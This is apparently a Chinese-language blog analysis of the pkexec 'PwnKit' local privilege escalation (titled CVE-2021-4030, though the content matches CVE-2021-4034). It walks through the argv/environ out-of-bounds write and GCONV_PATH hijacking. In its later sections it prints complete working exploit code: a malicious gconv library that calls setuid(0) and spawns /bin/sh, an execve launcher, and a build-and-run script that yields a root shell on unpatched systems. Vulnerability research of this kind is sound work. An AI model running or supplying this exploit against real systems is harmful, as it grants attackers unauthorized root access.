CVE-2021-4030 polkit-pkexec 本地提权分析

# 参考

# 软件简介

https://gitlab.freedesktop.org/polkit/polkit/

polkit is a toolkit for defining and handling authorizations. It is used for allowing unprivileged processes to speak to privileged processes.

pkexec 是 polkit 是一个程序,polkit 负责不同特权级的进程间的通讯
pkexec echo "1"

1
2
3
4
5
6
7
squ@squ-virtual-machine:~/tools/modules-5.0.1$ pkexec --help
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.

# 环境

1
2
3
4
squ@squ-virtual-machine:~/tools/modules-5.0.1$ pkexec --version
pkexec version 0.105
squ@squ-virtual-machine:~/tools/modules-5.0.1$ uname -a
Linux squ-virtual-machine 5.11.0-46-generic #51~20.04.1-Ubuntu SMP Fri Jan 7 06:51:40 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

docker:
pull 个 debian 下来,然后设置共享卷

1
docker run -it --name=de -v /home/squ/docker_volumn:/home/vol debian /bin/bash

# 下载源码

1
2
squ@squ-virtual-machine:~/Desktop/cve/policykit-1-0.105$ dpkg -S /usr/bin/pkexec
policykit-1: /usr/bin/pkexec

dpkg 查看包为 policykit-1
sudo apt source policykit-1 或者
https://launchpad.net/ubuntu/bionic/+package/policykit-1
影响版本 0~0.105

下载后路径在 /home/squ/Desktop/cve/policykit-1-0.105/src/programs/pkexec.c

# 环境搭建

源码地址
https://gitlab.freedesktop.org/polkit/polkit
基本找个虚拟机就能打,真是太 coooooooooooooooooooooooooooool 了
docker
如果遇到了 hash mismatch

1
E: Failed to fetch http://deb.debian.org/debian/pool/main/b/binutils/binutils-common_2.35.2-2_amd64.deb  Hash Sum mismatch
1
2
apt-get clean  
apt-get update --fix-missing

如果还是不行就换源 /etc/apt/sources.list (debian)
再不行就关代理吧(关了就好了

1
2
3
4
5
6
7
8
deb http://mirrors.ustc.edu.cn/debian stable main contrib non-free
# deb-src http://mirrors.ustc.edu.cn/debian stable main contrib non-free
deb http://mirrors.ustc.edu.cn/debian stable-updates main contrib non-free
# deb-src http://mirrors.ustc.edu.cn/debian stable-updates main contrib non-free

# deb http://mirrors.ustc.edu.cn/debian stable-proposed-updates main contrib non-free
# deb-src http://mirrors.ustc.edu.cn/debian stable-proposed-updates main contrib non-free

里面有一个 INSTALL 的文件

1
2
3
apt-get install libc6-dev
apt install gobjc++
./configure CC=c99 CFLAGS=-g LIBS=-lposix

遇到问题

1
2
3
checking whether the C compiler works... no
configure: error: in `/home/vol/policykit-1-0.105':
configure: error: C compiler cannot create executables

config.log

1
2
3
4
5
configure:3355: $? = 1
configure:3375: checking whether the C compiler works
configure:3397: /usr/bin/gcc -g conftest.c -lposix >&5
/usr/bin/ld: cannot find -lposix
collect2: error: ld returned 1 exit status

安装库

1
apt-get install manpages-posix-dev	

也没用,索性不加 posix 试试看

1
./configure CC=c99 CFLAGS=-g //LIBS=-lposix

继续报错

1
2
3
configure: error: The pkg-config script could not be found or is too old.  Make sure it
is in your PATH or set the PKG_CONFIG environment variable to the full
path to pkg-config.

安装

1
apt-get install -y pkg-config

继续报错

1
2
3
configure: error: Package requirements (gio-2.0 >= 2.28.0) were not met:

No package 'gio-2.0' found
1
apt-get install -y gio-2.0

然后又来

1
/usr/bin/ld: cannot find -lpam

这是因为缺少 libpam.so 的库,在 debian 系统上,可以这样下载 lib + id-dev

1
apt-get install -y libpam-dev

继续报错

1
2
checking for intltool >= 0.40.0...  found
configure: error: Your intltool is too old. You need intltool 0.40.0 or later.
1
apt-get install intltool

configure 没问题了 make 来了

1
2
polkitagentsession.c:58:10: fatal error: gio/gunixoutputstream.h: No such file or directory
58 | #include <gio/gunixoutputstream.h>
1
2
apt-get install libglib2.0
apt-get install libgio2.0

还是没用
发现 gio-unix-2.0* 下面就是 gio

1
cp -r /usr/include/gio-unix-2.0/gio/ /usr/include/

# 原理分析

# 数组越界

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
int main (int argc, char *argv[])
{
·······
const gchar *environment_variables_to_save[] = {
"SHELL",
"LANG",
"LINGUAS",
"LANGUAGE",
"LC_COLLATE",
"LC_CTYPE",
"LC_MESSAGES",
"LC_MONETARY",
"LC_NUMERIC",
"LC_TIME",
"LC_ALL",
"TERM",
"COLORTERM",

/* By default we don't allow running X11 apps, as it does not work in the
* general case. See
*
* https://bugs.freedesktop.org/show_bug.cgi?id=17970#c26
*
* and surrounding comments for a lot of discussion about this.
*
* However, it can be enabled for some selected and tested legacy programs
* which previously used e. g. gksu, by setting the
* org.freedesktop.policykit.exec.allow_gui annotation to a nonempty value.
* See https://bugs.freedesktop.org/show_bug.cgi?id=38769 for details.
*/
"DISPLAY",
"XAUTHORITY",
NULL
};
GPtrArray *saved_env;
gchar *opt_user;
pid_t pid_of_caller;
gpointer local_agent_handle;

ret = 127;
authority = NULL;
subject = NULL;
details = NULL;
result = NULL;
action_id = NULL;
saved_env = NULL;
path = NULL;
command_line = NULL;
opt_user = NULL;
local_agent_handle = NULL;

/* check for correct invocation */
if (geteuid () != 0)
{
g_printerr ("pkexec must be setuid root\n");
goto out;
}

original_user_name = g_strdup (g_get_user_name ());
if (original_user_name == NULL)
{
g_printerr ("Error getting user name.\n");
goto out;
}

if ((original_cwd = g_get_current_dir ()) == NULL)
{
g_printerr ("Error getting cwd: %s\n",
g_strerror (errno));
goto out;
}

/* First process options and find the command-line to invoke. Avoid using fancy library routines
* that depend on environtment variables since we haven't cleared the environment just yet.
*/
opt_show_help = FALSE;
opt_show_version = FALSE;
opt_disable_internal_agent = FALSE;
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}

if (opt_user != NULL)
{
g_printerr ("--user specified twice\n");
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}

90 行 n 是从 1 开始的
120 行 break 是退出循环,说明是要执行的命令
后面部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]);
if (path == NULL)
{
usage (argc, argv);
goto out;
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
path = s;

/* argc<2 and pkexec runs just shell, argv is guaranteed to be null-terminated.
* /-less shell shouldn't happen, but let's be defensive and don't write to null-termination
*/
if (argv[n] != NULL)
{
argv[n] = path;
}
}
  • g_find_program_in_path (path) 搜索命令的绝对路径
  • 绝对路径被回写回 argv[n]

对于命令行参数 argv[] 是在 environ[] 之后连着被压入的
命令行启动 pkexec ,第一个参数是自己 "pkexec"
但是如果用 execve 启动,第一个就是 NULL 了,第二个就是环境变量 environ[0]

# dl 坏事做尽

glibc2.27 ****/elf/dl-support.c : 307

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void
_dl_non_dynamic_init (void)
{
········
········
if (__libc_enable_secure)
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
// 清除不安全的环境变量
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
#ifdef DL_PLATFORM_INIT
DL_PLATFORM_INIT;
#endif
#ifdef DL_OSVERSION_INIT
DL_OSVERSION_INIT;
#endif
/* Now determine the length of the platform string. */
if (_dl_platform != NULL)
_dl_platformlen = strlen (_dl_platform);
/* Scan for a program header telling us the stack is nonexecutable. */
if (_dl_phdr != NULL)
for (uint_fast16_t i = 0; i < _dl_phnum; ++i)
if (_dl_phdr[i].p_type == PT_GNU_STACK)
{
_dl_stack_flags = _dl_phdr[i].p_flags;
break;
}
}
#ifdef DL_SYSINFO_IMPLEMENTATION
DL_SYSINFO_IMPLEMENTATION
#endif
#if ENABLE_STATIC_PIE
/* Since relocation to hidden _dl_main_map causes relocation overflow on
aarch64, a function is used to get the address of _dl_main_map. */
struct link_map *
_dl_get_dl_main_map (void)
{
return &_dl_main_map;
}
#endif

UNSECURE_ENVVARS 的变量是定义在 glibc-2.27/sysdeps/generic/unsecvars.h : 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#if !HAVE_TUNABLES
# define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#else
# define GLIBC_TUNABLES_ENVVAR
#endif
/* Environment variable to be removed for SUID programs. The names are
all stuffed in a single string which means they have to be terminated
with a '\0' explicitly. */
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"

当检测程序是特权文件的时候,会清空上面的环境变量
所以不能直接当环境变量传入
但这次我们有一次任意写机会
需要劫持环境变量引入我们的恶意库

# 劫持环境变量

利用的环境变量是 GCONV_PATH
https://trganda.github.io/posts/iconv/

In glib, a module named iconv support convert a charset to another. And the conversion was implemented in such dynamic library (gconv module) which implement pre-request interface, the usage of these gconv module were defined in a configuration file with name gconv-modules.

  • iconv 转换字符集
  • iconv 是在一个动态库 gconv module
  • 动态库 gconv module 定义在配置文件夹 gconv-modules
  • 会调用这个文件夹 gconv-modules 下的 so 文件中的 gconv()gconv_init()

The default gconv module and gconv module configuration file was located in:

  • /usr/lib/gconv: Usual default gconv module path.
  • /usr/lib/gconv/gconv-modules: Usual system default gconv module configuration file.
  • /usr/lib/gconv/gconv-modules.cache: Usual system gconv module configuration cache

可以看看 iconv 的 help

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
squ@squ-virtual-machine:~/Desktop/cve/CVE-2021-4034/poc$ iconv --help
Usage: iconv [OPTION...] [FILE...]
Convert encoding of given files from one encoding to another.

Input/Output format specification:
-f, --from-code=NAME encoding of original text
-t, --to-code=NAME encoding for output

Information:
-l, --list list all known coded character sets

Output control:
-c omit invalid characters from output
-o, --output=FILE output file
-s, --silent suppress warnings
--verbose print progress information

-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version

使用

1
iconv -f UTF-8 -t UTF-16 < input file > output file

iconv 会调用 iconv_open()iconv_open() 依赖环境变量 GCONV_PATH

The iconv support extension the charset conversion ability by user defined gconv module. When use iconv or call iconv() function, it must first allocate a conversion descriptor using iconv_open(). The operation of this function will influence by the enviroment GCONV_PATH

此处应该有源码,之后补
GCONV_PATH 指定自定义模块去替换系统模块
所以利用方法如下

Suppose we can control the content of enviroment GCONV_PATH, provide a gconv module configuration file and gconv module with evil code. The evil code may be execute for some case.

gconv 格式

# 关于 argv 和 environ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> environ
00:0000│ rdx 0x7fffffffe018 —▸ 0x7fffffffe374 ◂— 'SHELL=/bin/bash'
01:0008│ 0x7fffffffe020 —▸ 0x7fffffffe384 ◂— 'SESSION_MANAGER=local/squ-virtual-machine:@/tmp/.ICE-unix/1566,unix/squ-virtual-machine:/tmp/.ICE-unix/1566'
02:0010│ 0x7fffffffe028 —▸ 0x7fffffffe3f0 ◂— 'QT_ACCESSIBILITY=1'
03:0018│ 0x7fffffffe030 —▸ 0x7fffffffe403 ◂— 'COLORTERM=truecolor'
04:0020│ 0x7fffffffe038 —▸ 0x7fffffffe417 ◂— 'XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg'
05:0028│ 0x7fffffffe040 —▸ 0x7fffffffe444 ◂— 'XDG_MENU_PREFIX=gnome-'
06:0030│ 0x7fffffffe048 —▸ 0x7fffffffe45b ◂— 'GNOME_DESKTOP_SESSION_ID=this-is-deprecated'
07:0038│ 0x7fffffffe050 —▸ 0x7fffffffe487 ◂— 'LC_ADDRESS=zh_CN.UTF-8'
08:0040│ 0x7fffffffe058 —▸ 0x7fffffffe49e ◂— 'GNOME_SHELL_SESSION_MODE=ubuntu'
09:0048│ 0x7fffffffe060 —▸ 0x7fffffffe4be ◂— 'LC_NAME=zh_CN.UTF-8'
0a:0050│ 0x7fffffffe068 —▸ 0x7fffffffe4d2 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
0b:0058│ 0x7fffffffe070 —▸ 0x7fffffffe4fb ◂— 'XMODIFIERS=@im=ibus'
0c:0060│ 0x7fffffffe078 —▸ 0x7fffffffe50f ◂— 'DESKTOP_SESSION=ubuntu'
0d:0068│ 0x7fffffffe080 —▸ 0x7fffffffe526 ◂— 'LC_MONETARY=zh_CN.UTF-8'
0e:0070│ 0x7fffffffe088 —▸ 0x7fffffffe53e ◂— 'SSH_AGENT_PID=1528'
0f:0078│ 0x7fffffffe090 —▸ 0x7fffffffe551 ◂— 'GTK_MODULES=gail:atk-bridge'
10:0080│ 0x7fffffffe098 —▸ 0x7fffffffe56d ◂— 'PWD=/home/squ/Desktop'
11:0088│ 0x7fffffffe0a0 —▸ 0x7fffffffe583 ◂— 'XDG_SESSION_DESKTOP=ubuntu'
-------------------------------------------------------------------------------
pwndbg> argv
00:0000│ rsi 0x7fffffffe008 —▸ 0x7fffffffe35c ◂— '/home/squ/Desktop/a.out'
01:0008│ 0x7fffffffe010 ◂— 0x0

argv 的第一个参数是自己的绝对路径,第二个参数是 NULL

# execve.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <unistd.h>

int main()
{
char* const argv[] = {
"AAAA1111",
"BBBB2222",
"CCCC3333",
NULL
};
char* const envp[] = {
"DDDD3333",
"EEEE4444",
"FFFF5555",
NULL
};
return execve("./test", argv, envp);
}

# test.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
int main(int argc, char** argv)
{
printf("argc: %d\n", argc);
for(int i; i<8; i++) {
if(argv[i]!=NULL) {
printf("argv[%d]: %s\n", i, argv[i]);
} else {
printf("argv[%d]: NULL\n", i);
}
}

return 0;
}

# 结果

1
2
3
4
5
6
7
8
9
10
squ@squ-virtual-machine:~/Desktop$ ./execve 
argc: 3
argv[0]: AAAA1111
argv[1]: BBBB2222
argv[2]: CCCC3333
argv[3]: NULL
argv[4]: DDDD3333
argv[5]: EEEE4444
argv[6]: FFFF5555
argv[7]: NULL

argc 是自动计算的

# agrv 不传入的情况?

修改为 char* const argv[] = {NULL}
就没有 argc 了,而 argv[1]environ[0]

1
2
3
4
5
6
7
8
squ@squ-virtual-machine:~/Desktop$ ./execve 
argc: 0
argv[0]: NULL
argv[1]: DDDD3333
argv[2]: EEEE4444
argv[3]: FFFF5555
argv[4]: NULL
Segmentation fault (core dumped)

# 关于调用 iconv 的办法

如果劫持了 GCONV_PATH 就需要调用 iconv() 才行,在 pkexec.c 源码 369 行位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static gboolean
validate_environment_variable (const gchar *key,
const gchar *value)
{
gboolean ret;

/* Generally we bail if any environment variable value contains
*
* - '/' characters
* - '%' characters
* - '..' substrings
*/

g_return_val_if_fail (key != NULL, FALSE);
g_return_val_if_fail (value != NULL, FALSE);

ret = FALSE;

/* special case $SHELL */
if (g_strcmp0 (key, "SHELL") == 0)
{
/* check if it's in /etc/shells */
if (!is_valid_shell (value))
{
log_message (LOG_CRIT, TRUE,
"The value for the SHELL variable was not found the /etc/shells file");
g_printerr ("\n"
"This incident has been reported.\n");
goto out;
}
}
else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
strstr (value, "%") != NULL ||
strstr (value, "..") != NULL)
{
log_message (LOG_CRIT, TRUE,
"The value for environment variable %s contains suscipious content",
key);
g_printerr ("\n"
"This incident has been reported.\n");
goto out;
}

ret = TRUE;

out:
return ret;
}
1
2
3
4
5
6
7
8
9
10
11
12
if (g_strcmp0 (key, "SHELL") == 0)
{
/* check if it's in /etc/shells */
if (!is_valid_shell (value)) // SHELL值不合法 调用g_printerr
{
log_message (LOG_CRIT, TRUE,
"The value for the SHELL variable was not found the /etc/shells file");
g_printerr ("\n"
"This incident has been reported.\n");
goto out;
}
}

如果构造了一个错误的 SHELL 环境变量,就会调用 g_printerr (当然也可以利用 XAUTHORITY 来打)
g_printerr 默认是 UTF-8 格式,他会检查 CHARSET 变量,对输出格式进行转码,就会调用 iconv ,然后 iconv 会调用 iconv_open 初始化, iconv_open 会根据 GCONV_PATH 找到 gconv-modules 文件,再根据 gconv-modules 文件的指示找到参数对应字符集的 so 库,调用 so 库中的 gconv()gonv_init() 函数。

# 利用方法

  1. 创建一个 GCONV_PATH=. 的目录
  2. 在上面目录下创建我们的恶意库
  3. 在本目录下创建 gconv-modules 文件,写入 module UTF-8// PWNKIT// pwnkit 1
  4. 设置环境变量
    1. 第一个是恶意库 pwnkit.so:.
    2. 第二个环境变量 PATH=GCONV_PATH=. 这样 g_find_program_in_path 函数组合出的路径就是 GCONV_PATH=./pwnkit.so:.PATH + NAME = GCONV_PATH=. + / + pwnkit.so:.
    3. CHARSET=PWNKIT ,指定字符集为 pwnkit

如环境变量 “PATH=name”,如果 name 目录存在,并且 name 目录下也有 value 可执行程序,那么 envp [0] 的便指向 name/value;
如环境变量设置为 “PATH=name=.”,并且 “name=.” 目录下也有 value 可执行程序,那么 envp [0] 的便指向 “name=./value”。

1
2
3
4
if (argv[n] != NULL)
{
argv[n] = path;
}

对环境变量的回写

# 流程

  1. execve 执行 pkexec,无参传入,造成越界错误执行 environ[0]
  2. 612 行 argv [1] 越界访问的是 envp [0],获取到 value 值,和 path 组合后写回;(实现了一次找到路径的写入)此时 GCONV_PATH 已经被篡改
  3. 检测到 SHELL 变量问题,调用 g_printerr
  4. 根据 CHARSET 变量,需要转码,调用 iconv ,然后 iconv_open
  5. 根据 GCONV_PATH 找到 gconv-modules , 然后找到我们的恶意库
  6. 调用函数 gonv_init() , 提权拿下!

# GCONV_PATH 漏洞 demo

1
2
3
4
5
6
7
8
9
// file name hack.c
#include <stdlib.h>
#include <stdio.h>

void gconv() {}
void gconv_init() {
printf("you be hacked alreadly!\n");
system("touch you_be_hacked.txt");
}
1
gcc -shared -fPIC -o ./hack.so hack.c
1
2
3
4
5
export CHARSET=HACK
export GCONV_PATH=.

gcc -shared -fPIC -o ./hack.so hack.c
echo "module HACK// UTF-8// hack 1" > gconv-modules

这样就布置好了所有准备,然后手动调用 iconv ,虽然我想用 g_printerr ? 但是编译不通??
hacked!

1
2
3
4
squ@squ-virtual-machine:~/Desktop/iconv$ iconv -f HACK -t UTF-8 < hack.c
you be hacked alreadly!
iconv: iconv.c:91: iconv: Assertion `!"Nothing like this should happen"' failed.
Aborted (core dumped)

# module 语法

https://xy2401.com/local-docs/gnu/manual.zh/libc/glibc-iconv-Implementation.html

1
2
module AAAA// BBBB// name 1
# 从 AAAA编码到 BBBB编码 根据name.so规则 消耗cast值为1

然后 iconv 不知道 CHARSET 中的 HACK 是什么字符集,就会找到 GCONV_PATH 路径下的 gconv_modules 去找解码工具,然后就落入我们的恶意库了,所以能控制 GCONV_PATH 就能恶意代码执行

# 分析 POC

# make 做的事

1
2
3
4
5
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

先是在当前目录下生成了 pwnkit.so 的库
然后编译了 cve-2021-4034
然后传入一句话给 gconv-modules
创建一个文件夹,名字为 GCONV_PATH=.
最后 cp /usr/bin/trueGCONV_PATH=. 文件夹路径下的 pwnkit.so:. 里去 -f 是 force 强制把 /usr/bin/true 这个文件 cp 到目标路径,因为 pkexec 要执行 PATH 路径下的第一个参数,就必须让 pkexec 空执行,所以目标就被替换成 true ,怎么执行都不会出错
当前目录结构

1
2
3
4
5
6
7
8
9
10
11
.
├── cve-2021-4034.c
├── cve-2021-4034.sh
├── dry-run
│   ├── dry-run-cve-2021-4034.c
│   ├── Makefile
│   └── pwnkit-dry-run.c
├── LICENSE
├── Makefile
├── pwnkit.c
└── README.md

make 之后的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.
├── cve-2021-4034
├── cve-2021-4034.c
├── cve-2021-4034.sh
├── dry-run
│   ├── dry-run-cve-2021-4034.c
│   ├── Makefile
│   └── pwnkit-dry-run.c
├── gconv-modules
├── GCONV_PATH=.
│   └── pwnkit.so:.
├── LICENSE
├── Makefile
├── pwnkit.c
├── pwnkit.so
└── README.md

# cve-2021-4034.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <unistd.h>

int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
return execve("/usr/bin/pkexec", args, environ);
}

第一个环境变量指向 pwnkit.so:. ,拼接后就是 GCONV_PATH=./pwnkit.so:.
: 的作用我在网上都没查到很好的介绍,我理解为二级指针会遍历由 : 分割的路径,,,
也就是第二轮循环会变成 GCONV_PATH=. ,引导向当时的恶意库

# pwnkit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv(void) {
}

void gconv_init(void *step)
{
char * const args[] = { "/bin/sh", NULL };
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}

这个就是伪造的 gconv-mudules 下的 so 文件,会执行 gconvgconv_init
这个 PATH 就是多个可能的 bin 目标依次遍历
这就是 shellcode 了
关于这个 setuidsetgid 我重新开一章分析

# 尾声

既然自己分析完了,就要自己写利用脚本
首先是恶意库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>

void gconv(){}
void gconv_init(void *step){
char *const args[]={"/bin/sh",NULL};
char *const envp[]={
"PATH=/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/sbin:/bin:/opt/bin",
NULL
};
setuid(0);
setgid(0);
execve(args[0],args,envp);
}

这里用 args 的目的就是为了语句复用,没啥特别含义,也能拆成 /bin/sh + argv
pkexec 执行的提权

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<unistd.h>
int main(int argc,char **argv){
char *const args[]={NULL};
char *const environ[]={
"evilib.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/are/you/kid/me",
"CHARSET=HACK",
NULL
};
execve("/usr/bin/pkexec",args,environ);
return 0;
}

poc.sh

1
2
3
4
5
6
gcc -o exp exp.c
mkdir GCONV_PATH=.
gcc -fPIC -shared -o ./evilib.so evilib.c
echo "module UTF-8// HACK// evilib 1" > gconv-modules
cp -f /usr/bin/true ./GCONV_PATH=./evilib.so:.
./exp

# 补充调试

https://hub.docker.com/r/chenaotian/cve-2021-4034

1
2
3
catch exec
r
b *$rebase(0x2380)

image

两次结果对比

1
2
3
4
02:0010│     0x7fffa507a720 —▸ 0x7fffa507bfad ◂— 'pwnkitdir'
03:0018│ 0x7fffa507a728 —▸ 0x7fffa507bfb7 ◂— 'PATH=GCONV_PATH=.'
04:0020│ 0x7fffa507a730 —▸ 0x7fffa507bfc9 ◂— 'CHARSET=PWNKIT'
05:0028│ 0x7fffa507a738 —▸ 0x7fffa507bfd8 ◂— 'SHELL=xxx'
1
2
3
4
00:0000│ rax 0x7fffa507a720 —▸ 0x55b966a37f50 ◂— 'GCONV_PATH=./pwnkitdir'
01:0008│ 0x7fffa507a728 —▸ 0x7fffa507bfb7 ◂— 'PATH=GCONV_PATH=.'
02:0010│ 0x7fffa507a730 —▸ 0x7fffa507bfc9 ◂— 'CHARSET=PWNKIT'
03:0018│ 0x7fffa507a738 —▸ 0x7fffa507bfd8 ◂— 'SHELL=xxx'

ida 审计到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  if ( *v19 != '/' )
{
program_in_path = g_find_program_in_path(v19);
v21 = program_in_path;
if ( program_in_path )
{
v22 = v7;
v7 = (gchar *)program_in_path;
g_free(v22);
*(_QWORD *)opt_usera = v21; <<--------------------- argv[n] = path = s;
goto LABEL_34;
}
v38 = v7;
v37 = strerror(2);
v36 = "Cannot run program %s: %s\n";
LABEL_55:
v8 = 127;

根据字符串定位到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
      if ( !(unsigned int)g_strcmp0(type, "SHELL") )// 获取到SHELL的环境变量
{
v151 = 0LL;
v152[0] = 0LL;
if ( (unsigned int)g_file_get_contents("/etc/shells", &v151, 0LL, v152) )
{
v28 = 0;
v29 = g_strsplit(v151, "\n", 0LL);//shells
while ( 1 )
{// 如果终止条件满足
if ( !v29 || (v30 = *(_QWORD *)(v29 + 8LL * v28)) == 0 )
{
v31 = v29;
v6 = (const char **)subjecta;
v7 = local_agent_handle;
goto LABEL_47;// 直接跳过去
}
if ( !(unsigned int)g_strcmp0(v27, v30) )
break;
++v28;
}
g_free(v151);
g_strfreev(v29);
goto LABEL_58;
}
v6 = (const char **)subjecta;
v7 = local_agent_handle;
v31 = 0LL;
g_printerr("Error getting contents of /etc/shells: %s\n", *(const char **)(v152[0] + 8));
g_error_free(v152[0]);
LABEL_47:
g_free(v151);
g_strfreev(v31);
log_message(2, 1, "The value for the SHELL variable was not found the /etc/shells file"); if ( (unsigned int)g_file_get_contents("/etc/shells", &v151, 0LL, v152) )
LABEL_48:
v32 = "\nThis incident has been reported.\n";
LABEL_49:
v8 = 127;
g_printerr(v32);
g_free(0LL);

v28 是 idx,可以得知这是个数组
反馈到源码

1
2
3
4
5
6
7
8
9
10
shells = g_strsplit (contents, "\n", 0);
for (n = 0; shells != NULL && shells[n] != NULL; n++)
{
if (g_strcmp0 (shell, shells[n]) == 0)
{
ret = TRUE;
goto out;
}
}

在后面调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
      /* To qualify for the paranoia goldstar - we validate the value of each
* environment variable passed through - this is to attempt to avoid
* exploits in (potentially broken) programs launched via pkexec(1).
*/
if (!validate_environment_variable (key, value))
goto out;

然后里面又调用了---------------------------------------------------
/* special case $SHELL */
if (g_strcmp0 (key, "SHELL") == 0)
{
/* check if it's in /etc/shells */
if (!is_valid_shell (value))
{
log_message (LOG_CRIT, TRUE,
"The value for the SHELL variable was not found in the /etc/shells file");
g_printerr ("\n"
"This incident has been reported.\n");
goto out;
}
}
-----------------------------------------------------------------------
for (n = 0; shells != NULL && shells[n] != NULL; n++)
{
if (g_strcmp0 (shell, shells[n]) == 0)
{
ret = TRUE;
goto out;
}
}

out:
g_free (contents);
g_strfreev (shells);
return ret;
}